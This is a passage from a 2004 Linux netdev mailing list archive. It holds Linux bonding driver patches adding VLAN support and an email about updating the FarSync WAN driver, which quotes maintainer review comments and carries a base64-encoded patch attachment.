-free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } /* @@ -3717,11 +4111,12 @@ static int bond_xmit_broadcast(struct sk struct slave *slave, *start_at; struct net_device *tx_dev = NULL; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3729,7 +4124,7 @@ static int bond_xmit_broadcast(struct sk read_unlock(&bond->curr_slave_lock); if (!start_at) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { @@ -3745,31 +4140,28 @@ static int bond_xmit_broadcast(struct sk continue; } - skb2->dev = tx_dev; - skb2->priority = 1; - dev_queue_xmit(skb2); + res = bond_dev_queue_xmit(bond, skb2, tx_dev); + if (res) { + dev_kfree_skb(skb2); + continue; + } } tx_dev = slave->dev; } } if (tx_dev) { - skb->dev = tx_dev; - skb->priority = 1; - dev_queue_xmit(skb); - } else { - goto free_out; + res = bond_dev_queue_xmit(bond, skb, tx_dev); } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } /* frame sent to all suitable interfaces */ read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } #ifdef CONFIG_NET_FASTROUTE @@ -3838,6 +4230,7 @@ static int __init bond_init(struct net_d bond->current_arp_slave = NULL; bond->primary_slave = NULL; bond->dev = bond_dev; + INIT_LIST_HEAD(&bond->vlan_list); /* Initialize the device entry points */ bond_dev->open = bond_open; @@ -3858,6 +4251,25 @@ static int __init bond_init(struct net_d bond_dev->tx_queue_len = 0; bond_dev->flags |= IFF_MASTER|IFF_MULTICAST; + /* At first, we block adding VLANs. That's the only way to + * prevent problems that occur when adding VLANs over an + * empty bond. The block will be removed once non-challenged + * slaves are enslaved. + */ + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + + /* By default, we declare the bond to be fully + * VLAN hardware accelerated capable. Special + * care is taken in the various xmit functions + * when there are slaves that are not hw accel + * capable + */ + bond_dev->vlan_rx_register = bond_vlan_rx_register; + bond_dev->vlan_rx_add_vid = bond_vlan_rx_add_vid; + bond_dev->vlan_rx_kill_vid = bond_vlan_rx_kill_vid; + bond_dev->features |= (NETIF_F_HW_VLAN_TX | + NETIF_F_HW_VLAN_RX | + NETIF_F_HW_VLAN_FILTER); #ifdef CONFIG_PROC_FS bond_create_proc_entry(bond); diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:55:06 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:55:08 2004 @@ -147,6 +147,11 @@ struct bond_params { u32 arp_targets[BOND_MAX_ARP_TARGETS]; }; +struct vlan_entry { + struct list_head vlan_list; + unsigned short vlan_id; +}; + struct slave { struct net_device *dev; /* first - usefull for panic debug */ struct slave *next; @@ -196,6 +201,8 @@ struct bonding { struct ad_bond_info ad_info; struct alb_bond_info alb_info; struct bond_params params; + struct list_head vlan_list; + struct vlan_group *vlgrp; }; /** @@ -238,5 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); + #endif /* _LINUX_BONDING_H */ From shmulik.hen@intel.com Thu Feb 19 02:15:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 02:15:54 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JAFoKO022424 for ; Thu, 19 Feb 2004 02:15:50 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1JADOiP023141; Thu, 19 Feb 2004 10:13:24 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1JAFbkh013781; Thu, 19 Feb 2004 10:15:41 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004021902153214917 ; Thu, 19 Feb 2004 02:15:33 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" , "Jeff Garzik" Subject: [PATCH 2/3][bonding 2.4] Add VLAN support in TLB mode Date: Thu, 19 Feb 2004 12:15:30 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" , "bonding-devel" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402191215.31358.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3399 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Now, that 2.4.25 is out, I'm resending the enhancements for VLAN over bonding. Tested for patch application and compilation against latest netdev-2.4 BK tree (assuming the previous 3 patches are already applied). Summary: Add capability to tag self generated learning packets that are required to speed up port selection in the switch after a fail over in bonding since some switches will only update their MAC tables from tagged packets when VLAN support is turned on. All VLAN Id's that have been configured on top of the bond interface will be used in cyclic order. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:12 2004 @@ -50,6 +50,7 @@ #include #include #include +#include #include #include #include @@ -79,7 +80,7 @@ #define TLB_NULL_INDEX 0xffffffff -#define MAX_LP_RETRY 3 +#define MAX_LP_BURST 3 /* rlb defs */ #define RLB_HASH_TABLE_SIZE 256 @@ -817,6 +818,7 @@ static void rlb_deinitialize(struct bond static void alb_send_learning_packets(struct slave *slave, u8 mac_addr[]) { + struct bonding *bond = bond_get_bond_by_slave(slave); struct learning_pkt pkt; int size = sizeof(struct learning_pkt); int i; @@ -826,7 +828,7 @@ static void alb_send_learning_packets(st memcpy(pkt.mac_src, mac_addr, ETH_ALEN); pkt.type = __constant_htons(ETH_P_LOOP); - for (i = 0; i < MAX_LP_RETRY; i++) { + for (i = 0; i < MAX_LP_BURST; i++) { struct sk_buff *skb; char *data; @@ -844,6 +846,26 @@ static void alb_send_learning_packets(st skb->priority = TC_PRIO_CONTROL; skb->dev = slave->dev; + if (!list_empty(&bond->vlan_list)) { + struct vlan_entry *vlan; + + vlan = bond_next_vlan(bond, + bond->alb_info.current_alb_vlan); + + bond->alb_info.current_alb_vlan = vlan; + if (!vlan) { + kfree_skb(skb); + continue; + } + + skb = vlan_put_tag(skb, vlan->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + dev_queue_xmit(skb); } } @@ -1589,3 +1611,11 @@ int bond_alb_set_mac_address(struct net_ return 0; } +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + if (bond->alb_info.current_alb_vlan && + (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { + bond->alb_info.current_alb_vlan = NULL; + } +} + diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:55:12 2004 @@ -122,6 +122,7 @@ struct alb_bond_info { * rx traffic should be * rebalanced */ + struct vlan_entry *current_alb_vlan; }; int bond_alb_initialize(struct bonding *bond, int rlb_enabled); @@ -133,6 +134,6 @@ void bond_alb_handle_active_change(struc int bond_alb_xmit(struct sk_buff *skb, struct net_device *bond_dev); void bond_alb_monitor(struct bonding *bond); int bond_alb_set_mac_address(struct net_device *bond_dev, void *addr); - +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id); #endif /* __BOND_ALB_H__ */ diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:12 2004 @@ -676,6 +676,11 @@ static int bond_del_vlan(struct bonding if (vlan->vlan_id == vlan_id) { list_del(&vlan->vlan_list); + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { + bond_alb_clear_vlan(bond, vlan_id); + } + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, bond->dev->name); @@ -731,6 +736,42 @@ static int bond_has_challenged_slaves(st } /** + * bond_next_vlan - safely skip to the next item in the vlans list. + * @bond: the bond we're working on + * @curr: item we're advancing from + * + * Returns %NULL if list is empty, bond->next_vlan if @curr is %NULL, + * or @curr->next otherwise (even if it is @curr itself again). + * + * Caller must hold bond->lock + */ +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr) +{ + struct vlan_entry *next, *last; + + if (list_empty(&bond->vlan_list)) { + return NULL; + } + + if (!curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + last = list_entry(bond->vlan_list.prev, + struct vlan_entry, vlan_list); + if (last == curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + next = list_entry(curr->vlan_list.next, + struct vlan_entry, vlan_list); + } + } + + return next; +} + +/** * bond_dev_queue_xmit - Prepare skb for xmit. * * @bond: bond device that got this skb for tx. diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:55:12 2004 @@ -245,6 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr); int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); #endif /* _LINUX_BONDING_H */ From kevin.curtis@farsite.co.uk Thu Feb 19 03:03:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 03:03:11 -0800 (PST) Received: from relay1.ftech.net (ibm2.ftech.net [212.32.16.72]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JB33KO026324 for ; Thu, 19 Feb 2004 03:03:04 -0800 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay1.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1AtlxN-0008Up-00; Thu, 19 Feb 2004 11:03:01 +0000 Received: from pc1.faradsl.ftech.co.uk ([212.32.46.162] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1AtlxC-0003wM-00; Thu, 19 Feb 2004 11:02:50 +0000 MIME-Version: 1.0 Subject: Update FarSync WAN driver in 2.6 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C3F6D7.E9491D16" Date: Thu, 19 Feb 2004 11:02:48 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CBF0@general.hq.farsitecommunications.com> X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.6 Thread-Index: AcPrZGkB6GscodfWScegphdP5rRyJwF62VzQAWHPYEA= From: "Kevin Curtis" To: "Kevin Curtis" , "Jeff Garzik" Cc: , X-archive-position: 3400 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------_=_NextPart_001_01C3F6D7.E9491D16 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Hi, Please find attached a patch file for the farsync drivers in 2.6 Kernel. The patch was generated against 2.6.3, i.e. the latest release. I have used tasklets instead of schedule_work and this seems to have solved the performance problem I referred to last week. I now wish to use tasklets in the 2.4 Kernel. Would you like me to resend the patch again (updated), or a new patch to patch the patch you already have? Kind Regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 -----Original Message----- From: Kevin Curtis=20 Sent: 12 February 2004 10:12 To: 'Jeff Garzik'; Kevin Curtis Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: RE: Update FarSync WAN driver in 2.4.25 Hi, Please find attached a revised patch file which I believe addresses the comments that you and Francois Romieu made. I have changed the bottom half to use schedule_task, although I can see a marked degradation in performance. Can you tell me if it is possible to still queue my tasks on the Immediate queue, so that they run as soon as the interrupt is complete. It seems to me that the task_queue and tasklets are not as efficient. Kind regards Kevin -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com]=20 Sent: 04 February 2004 21:18 To: Kevin Curtis Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: Re: Update FarSync WAN driver in 2.4.25 Comments: * please use standard indentation (one tab) * please use constants per the include/linux/pci_ids.h standard, rather=20 than defining your own. * please use standard include/linux/pci.h constants, rather than=20 defining your own (PCIILR, etc.) * further, obtain interrupt from struct pci_dev::irq after calling=20 pci_enable_device(); do not obtain directly via pci_read_config_xxx() * fst_process_rx_status() could result in flooding the log * use pci_set_master() to enable bus-mastering * bottom halves are deprecated. do not add new code using mark_bh() and friends. Use tasklets or schedule_task(). * use pci_set_dma_mask() rather than pci_dma_supported() * use pci_request_regions() rather than request_region() ------_=_NextPart_001_01C3F6D7.E9491D16 Content-Type: application/octet-stream; name="farsync2.6.patch" Content-Transfer-Encoding: base64 Content-Description: farsync2.6.patch Content-Disposition: attachment; filename="farsync2.6.patch" ZGlmZiAtdXJOIGxpbnV4LTIuNi4zLW9yaWcvZHJpdmVycy9uZXQvd2FuL2ZhcnN5bmMuYyBsaW51 eC9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5jCi0tLSBsaW51eC0yLjYuMy1vcmlnL2RyaXZlcnMv bmV0L3dhbi9mYXJzeW5jLmMJMjAwNC0wMi0xOCAxMToyODoyMC4wMDAwMDAwMDAgKzAwMDAKKysr IGxpbnV4L2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMJMjAwNC0wMi0xOSAwOToyMDo1OS4wMDAw MDAwMDAgKzAwMDAKQEAgLTEsOSArMSw5IEBACiAvKgotICogICAgICBGYXJTeW5jIFgyMSBkcml2 ZXIgZm9yIExpbnV4IChnZW5lcmljIEhETEMgdmVyc2lvbikKKyAqICAgICAgRmFyU3luYyBXQU4g ZHJpdmVyIGZvciBMaW51eCAoMi42Lngga2VybmVsIHZlcnNpb24pCiAgKgogICogICAgICBBY3R1 YWxseSBzeW5jIGRyaXZlciBmb3IgWC4yMSwgVi4zNSBhbmQgVi4yNCBvbiBGYXJTeW5jIFQtc2Vy aWVzIGNhcmRzCiAgKgotICogICAgICBDb3B5cmlnaHQgKEMpIDIwMDEgRmFyU2l0ZSBDb21tdW5p Y2F0aW9ucyBMdGQuCisgKiAgICAgIENvcHlyaWdodCAoQykgMjAwMS0yMDA0IEZhclNpdGUgQ29t bXVuaWNhdGlvbnMgTHRkLgogICogICAgICB3d3cuZmFyc2l0ZS5jby51awogICoKICAqICAgICAg VGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFu ZC9vcgpAQCAtMTEsNjMgKzExLDc5IEBACiAgKiAgICAgIGFzIHB1Ymxpc2hlZCB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0aGUgbGluawogICovCi0jZGVmaW5lIEZTVF9UWF9RVUVV RV9MRU4gICAgICAgIDEwMCAgICAgLyogQXQgOE1icHMgYSBsb25nZXIgcXVldWUgbGVuZ3RoIGlz Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogdXNlZnVsLCB0aGUg c3luY3BwcCBtb2R1bGUgZm9yY2VzCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICogdGhpcyBkb3duIGFzc3VtaW5nIGEgc2xvd2VyIGxpbmUgSQotICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIGd1ZXNzLgotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAqLwotI2RlZmluZSBGU1RfTUFYX01UVSAgICAgICAgICAg ICA4MDAwICAgIC8qIEh1Z2UgYnV0IHBvc3NpYmxlICovCi0jZGVmaW5lIEZTVF9ERUZfTVRVICAg ICAgICAgICAgIDE1MDAgICAgLyogQ29tbW9uIHNhbmUgdmFsdWUgKi8KKyNkZWZpbmUgRlNUX1RY X1FVRVVFX0xFTiAgICAgICAgMTAwCS8qIEF0IDhNYnBzIGEgbG9uZ2VyIHF1ZXVlIGxlbmd0aCBp cworCQkJCQkgKiB1c2VmdWwsIHRoZSBzeW5jcHBwIG1vZHVsZSBmb3JjZXMKKwkJCQkJICogdGhp cyBkb3duIGFzc3VtaW5nIGEgc2xvd2VyIGxpbmUgSQorCQkJCQkgKiBndWVzcy4KKwkJCQkJICov CisjZGVmaW5lIEZTVF9UWFFfREVQVEggICAgICAgICAgIDE2CS8qIFRoaXMgb25lIGlzIGZvciB0 aGUgYnVmZmVyaW5nCisJCQkJCSAqIG9mIGZyYW1lcyBvbiB0aGUgd2F5IGRvd24gdG8gdGhlIGNh cmQKKwkJCQkJICogc28gdGhhdCB3ZSBjYW4ga2VlcCB0aGUgY2FyZCBidXN5CisJCQkJCSAqIGFu ZCBtYXhpbWlzZSB0a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c2luZyBjaXJjdWxhciBwb29scwogICogICAgICBvZiBidWZmZXIgZGVzY3Jp cHRvcnMuIFRoZSBzdHJ1Y3R1cmUgaXMgYWxtb3N0IGlkZW50aWNhbCB0byB0aGF0IHVzZWQKICAq ICAgICAgaW4gdGhlIExBTkNFIEV0aGVybmV0IGNvbnRyb2xsZXJzLiBEZXRhaWxzIGF2YWlsYWJs ZSBhcyBQREYgZnJvbSB0aGUKICAqICAgICAgQU1EIHdlYiBzaXRlOiBodHRwOi8vd3d3LmFtZC5j b20vcHJvZHVjdHMvZXBkL3Byb2Nlc3NvcnMvXAogICogICAgICAgICAgICAgICAgICAgIDIuMTZi aXRjb250LzMuYW0xODZjeGZhL2EyMTkxNC8yMTkxNC5wZGYKICAqLwotc3RydWN0IHR4ZGVzYyB7 ICAgICAgICAgICAgICAgICAvKiBUcmFuc21pdCBkZXNjcmlwdG9yICovCi0gICAgICAgIHZvbGF0 aWxlIHUxNiBsYWRyOyAgICAgIC8qIExvdyBvcmRlciBhZGRyZXNzIG9mIHBhY2tldC4gVGhpcyBp cyBhCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIGxpbmVhciBhZGRyZXNzIGlu IHRoZSBBbTE4NiBtZW1vcnkgc3BhY2UKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICovCi0gICAgICAgIHZvbGF0aWxlIHU4ICBoYWRyOyAgICAgIC8qIEhpZ2ggb3JkZXIgYWRkcmVz cy4gTG93IDQgYml0cyBvbmx5LCBoaWdoIDQKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICogYml0cyBtdXN0IGJlIHplcm8KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICovCi0gICAgICAgIHZvbGF0aWxlIHU4ICBiaXRzOyAgICAgIC8qIFN0YXR1cyBhbmQgY29uZmln ICovCi0gICAgICAgIHZvbGF0aWxlIHUxNiBiY250OyAgICAgIC8qIDJzIGNvbXBsZW1lbnQgb2Yg cGFja2V0IHNpemUgaW4gbG93IDE1IGJpdHMuCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqIFRyYW5zbWl0IHRlcm1pbmFsIGNvdW50IGludGVycnVwdCBlbmFibGUgaW4KLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICogdG9wIGJpdC4KLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgIHUxNiB1bnVzZWQ7ICAgIC8qIE5v dCB1c2VkIGluIFR4ICovCitzdHJ1Y3QgdHhkZXNjIHsJCQkvKiBUcmFuc21pdCBkZXNjcmlwdG9y ICovCisJdm9sYXRpbGUgdTE2IGxhZHI7CS8qIExvdyBvcmRlciBhZGRyZXNzIG9mIHBhY2tldC4g VGhpcyBpcyBhCisJCQkJICogbGluZWFyIGFkZHJlc3MgaW4gdGhlIEFtMTg2IG1lbW9yeSBzcGFj ZQorCQkJCSAqLworCXZvbGF0aWxlIHU4IGhhZHI7CS8qIEhpZ2ggb3JkZXIgYWRkcmVzcy4gTG93 IDQgYml0cyBvbmx5LCBoaWdoIDQKKwkJCQkgKiBiaXRzIG11c3QgYmUgemVybworCQkJCSAqLwor CXZvbGF0aWxlIHU4IGJpdHM7CS8qIFN0YXR1cyBhbmQgY29uZmlnICovCisJdm9sYXRpbGUgdTE2 IGJjbnQ7CS8qIDJzIGNvbXBsZW1lbnQgb2YgcGFja2V0IHNpemUgaW4gbG93IDE1IGJpdHMuCisJ CQkJICogVHJhbnNtaXQgdGVybWluYWwgY291bnQgaW50ZXJydXB0IGVuYWJsZSBpbgorCQkJCSAq IHRvcCBiaXQuCisJCQkJICovCisJdTE2IHVudXNlZDsJCS8qIE5vdCB1c2VkIGluIFR4ICovCiB9 OwogCi1zdHJ1Y3QgcnhkZXNjIHsgICAgICAgICAgICAgICAgIC8qIFJlY2VpdmUgZGVzY3JpcHRv ciAqLwotICAgICAgICB2b2xhdGlsZSB1MTYgbGFkcjsgICAgICAvKiBM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50ICgxNSBiaXRzKSAqLwogfTsKIAogLyogQ29udmVydCBhIGxlbmd0 aCBpbnRvIHRoZSAxNSBiaXQgMidzIGNvbXBsZW1lbnQgKi8KQEAgLTE0Niw1NyArMTYxLDk5IEBA CiAjZGVmaW5lIGNudl9iY250KGxlbikgICAoLShsZW4pKQogCiAvKiBTdGF0dXMgYW5kIGNvbmZp ZyBiaXRzIGZvciB0aGUgYWJvdmUgKi8KLSNkZWZpbmUgRE1BX09XTiAgICAgICAgIDB4ODAgICAg ICAgICAgICAvKiBTbWFydERNQSBvd25zIHRoZSBkZXNjcmlwdG9yICovCi0jZGVmaW5lIFRYX1NU UCAgICAgICAgICAweDAyICAgICAgICAgICAgLyogVHg6IHN0YXJ0IG9mIHBhY2tldCAqLwotI2Rl ZmluZSBUWF9FTlAgICAgICAgICAgMHgwMSAgICAgICAgICAgIC8qIFR4OiBlbmQgb2YgcGFja2V0 ICovCi0jZGVmaW5lIFJYX0VSUiAgICAgICAgICAweDQwICAgICAgICAgICAgLyogUng6IGVycm9y IChPUiBvZiBuZXh0IDQgYml0cykgKi8KLSNkZWZpbmUgUlhfRlJBTSAgICAgICAgIDB4MjAgICAg ICAgICAgICAvKiBSeDogZnJhbWluZyBlcnJvciAqLwotI2RlZmluZSBSWF9PRkxPICAgICAgICAg MHgxMCAgICAgICAgICAgIC8qIFJ4OiBvdmVyZmxvdyBlcnJvciAqLwotI2RlZmluZSBSWF9DUkMg ICAgICAgICAgMHgwOCAgICAgICAgICAgIC8qIFJ4OiBDUkMgZXJyb3IgKi8KLSNkZWZpbmUgUlhf SEJVRiAgICAgICAgIDB4MDQgICAgICAgICAgICAvKiBSeDogYnVmZmVyIGVycm9yICovCi0jZGVm aW5lIFJYX1NUUCAgICAgICAgICAweDAyICAgICAgICAgICAgLyogUng6IHN0YXJ0IG9mIHBhY2tl dCAqLwotI2RlZmluZSBSWF9FTlAgICAgICAgICAgMHgwMSAgICAgICAgICAgIC8qIFJ4OiBlbmQg b2YgcGFja2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ZXJydXB0 LAorCQkJCSAqIHNldCB0byAweEVFIGJ5IGhvc3QgdG8gYWNrbm93bGVkZ2UgaW50ZXJydXB0CisJ CQkJICovCiAKLSAgICAgICAgdTE2IHNtY1ZlcnNpb247ICAgICAgICAgLyogTXVzdCBtYXRjaCBT TUNfVkVSU0lPTiAqLworCXUxNiBzbWNWZXJzaW9uOwkJLyogTXVzdCBtYXRjaCBTTUNfVkVSU0lP TiAqLwogCi0gICAgICAgIHUzMiBzbWNGaXJtd2FyZVZlcnNpb247IC8qIDB4SUlWVlJSQkIgd2hl cmUgSUkgPSBwcm9kdWN0IElELCBWViA9IG1ham9yCi0gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAqIHZlcnNpb24sIFJSID0gcmV2aXNpb24gYW5kIEJCID0gYnVpbGQKLSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICovCisJdTMyIHNtY0Zpcm13YXJlVmVyc2lvbjsJLyog MHhJSVZWUlJCQiB3aGVyZSBJSSA9IHByb2R1Y3QgSUQsIFZWID0gbWFqb3IKKwkJCQkgKiB2ZXJz aW9uLCBSUiA9IHJldmlzaW9uIGFuZCBCQiA9IGJ1aWxkCisJCQkJICovCiAKLSAgICAgICAgdTE2 IHR4YV9kb25lOyAgICAgICAgICAgLyogT2Jzb2xldGUgY29tcGxldGlvbiBmbGFncyAqLwotICAg ICAgICB1MTYgcnhhX2RvbmU7Ci0gICAgICAgIHUxNiB0eGJfZG9uZTsKLSAgICAgICAgdTE2IHJ4 Yl9kb25lOwotICAgICAgICB1MTYgdHhjX2RvbmU7Ci0gICAgICAgIHUxNiByeGNfZG9uZTsKLSAg ICAgICAgdTE2IHR4ZF9kb25lOwotICAgICAgICB1MTYgcnhkX2RvbmU7CisJdTE2IHR4YV9kb25l OwkJLyogT2Jzb2xldGUgY29tcGxldGlvbiBmbGFncyAqLworCXUxNiByeGFfZG9uZTsKKwl1MTYg dHhiX2RvbmU7CisJdTE2IHJ4Yl9kb25lOworCXUx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HJlc2VudCwgMT0+IGFic2Vu dCAqLwogCi0gICAgICAgIHUxNiBjYWJsZVN0YXR1czsgICAgICAgICAgICAgICAgLyogbHNiOiAw PT4gcHJlc2VudCwgMT0+IGFic2VudCAqLworCXUxNiBjYWJsZVN0YXR1czsJLyogbHNiOiAwPT4g cHJlc2VudCwgMT0+IGFic2VudCAqLwogCi0gICAgICAgIHUxNiB0eERlc2NySW5kZXhbRlNUX01B WF9QT1JUU107IC8qIHRyYW5zbWl0IGRlc2NyaXB0b3IgcmluZyBpbmRleCAqLwotICAgICAgICB1 MTYgcnhEZXNjckluZGV4W0ZTVF9NQVhfUE9SVFNdOyAvKiByZWNlaXZlIGRlc2NyaXB0b3Igcmlu ZyBpbmRleCAqLworCXUxNiB0eERlc2NySW5kZXhbRlNUX01BWF9QT1JUU107CS8qIHRyYW5zbWl0 IGRlc2NyaXB0b3IgcmluZyBpbmRleCAqLworCXUxNiByeERlc2NySW5kZXhbRlNUX01BWF9QT1JU U107CS8qIHJlY2VpdmUgZGVzY3JpcHRvciByaW5nIGluZGV4ICovCiAKLSAgICAgICAgdTE2IHBv cnRNYWlsYm94W0ZTVF9NQVhfUE9SVFNdWzJdOyAgICAgIC8qIGNvbW1hbmQsIG1vZGlmaWVyICov Ci0gICAgICAgIHUxNiBjYXJkTWFpbGJveFs0XTsgICAgICAgICAgICAgICAgICAgICAvKiBOb3Qg dXNlZCAqLworCXUxNiBwb3J0TWFpbGJveFtGU1RfTUFYX1BPUlRTXVsyXTsJLyogY29tbWFuZCwg bW9kaWZpZXIgKi8KKwl1MTYgY2FyZE1haWxib3hbNF07CS8qIE5vdCB1c2VkICovCiAKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogTnVtYmVyIG9mIHRpbWVzIHRoYXQgY2FyZCB0 aGlua3MgdGhlIGhvc3QgaGFzCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIG1p c3NlZCBhbiBpbnRlcnJ1cHQgYnkgbm90IGFja25vd2xlZGdpbmcKLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICogd2l0aGluIDJtUyAoSSBndWVzcyBOVCBoYXMgcHJvYmxlbXMpCi0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLwotICAgICAgICB1MzIgaW50ZXJydXB0 UmV0cnlDb3VudDsKKwkvKiBOdW1iZXIgb2YgdGltZXMgdGhlIGNhcmQgdGhpbmtzIHRoZSBob3N0 IGhhcworCSAqIG1pc3NlZCBhbiBpbnRlcnJ1cHQgYnkgbm90IGFja25vd2xlZGdpbmcKKwkgKiB3 aXRoaW4gMm1TIChJIGd1ZXNzIE5UIGhhcyBwcm9ibGVtcykKKwkgKi8KKwl1MzIgaW50ZXJydXB0 UmV0cnlDb3VudDsKIAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBEcml2ZXIg cHJpdmF0ZSBkYXRhIHVzZWQgYXMgYW4gSUQuIFdlJ2xsIG5vdAotICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKiB1c2UgdGhpcyBvbiBMaW51eCBJJ2QgcmF0aGVyIGtlZXAgc3VjaCB0 aGluZ3MKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogaW4gbWFpbiBtZW1vcnkg 